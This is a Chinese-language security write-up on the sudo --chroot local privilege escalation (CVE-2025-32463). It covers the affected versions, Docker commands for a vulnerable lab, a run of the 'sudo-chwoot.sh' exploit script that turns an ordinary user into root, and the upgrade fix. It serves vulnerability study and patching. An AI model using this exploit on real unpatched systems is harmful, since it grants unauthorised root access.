

条件简单？1秒提权？Linux最新提权漏洞（CVE-2025-32463）POC及一键部署环境

漏洞介绍

`sudo`（“superuser do”的缩写）是类 Unix 系统中常用的权限管理工具，用于允许普通用户以其他用户（通常是 `root`）的身份执行命令。通过 `sudo`，系统管理员可以精细控制哪些用户或用户组有权在不暴露 `root` 密码的情况下执行特权命令，同时对所有操作进行日志记录，增强系统的安全性与可审计性。它是系统权限最关键的组件之一，广泛应用于日常运维、脚本执行以及权限控制场景中。

在 1.9.17p1 版本之前的 `sudo` 中，存在一个安全漏洞：当使用 `--chroot` 选项时，程序会加载来自用户可控目录中的 `/etc/nsswitch.conf` 配置文件，导致本地用户可以提升为 `root` 权限。



漏洞版本

- 受影响的是大多数 Linux 发行版中从 `sudo` 1.9.14 到 1.9.17（包括所有 p-revision 版本）

一键部署漏洞环境

在漏洞环境所在的目录中，如下图所示：

```
a1batr0ss@MacBookAir ~ % ls
Dockerfile      sudo-chwoot.sh
```

首先，使用以下命令构建 Docker 镜像，镜像名称设为 `sudo-chwoot`：

```
docker build -t sudo-chwoot .
```

构建完成后，执行以下命令启动容器。该命令基于刚刚构建的镜像 `sudo-chwoot`，以特权模式（`--privileged`）运行，并在容器退出后自动删除（`--rm`）：

```
docker run -it --rm --privileged sudo-chwoot
```

可以看到，命令执行成功后，用户将自动进入容器的交互式终端环境。此时，容器中的当前会话拥有普通用户权限。该环境用于进一步进行漏洞测试与权限提升操作。

```
a1batr0ss@MacBookAir ~ % docker run -it --rm --privileged sudo-chwoot
pwn@7a2a07847796:~$ id
uid=1001(pwn) gid=1001(pwn) groups=1001(pwn)
pwn@7a2a07847796:~$
```

漏洞利用

进入容器后，可以看到当前处于交互式终端环境中，且当前会话为普通用户权限。此时，在工作目录下发现存在名为 `sudo-chwoot.sh` 的提权脚本。

```
a1batr0ss@MacBookAir ~ % docker run -it --rm --privileged sudo-chwoot
pwn@7a4e84863232:~$ ls
sudo-chwoot.sh
pwn@7a4e84863232:~$ id
uid=1001(pwn) gid=1001(pwn) groups=1001(pwn)
pwn@7a4e84863232:~$
```

接下来，利用该脚本进行权限提升。该工具利用 sudo 相关漏洞，可直接将普通用户权限提升为 root 权限，操作过程非常简洁，仅需执行一步指令即可完成提权。

```
pwn@7a4e84863232:~$ ls
sudo-chwoot.sh
pwn@7a4e84863232:~$ id
uid=1001(pwn) gid=1001(pwn) groups=1001(pwn)
pwn@7a4e84863232:~$ ./sudo-chwoot.sh id
woot!
uid=0(root) gid=0(root) groups=0(root),1001(pwn)
pwn@7a4e84863232:~$
```

漏洞修复

修复需要将版本升级

- **sudo 1.9.17p1**及以上版本已经修复该漏洞

漏洞修复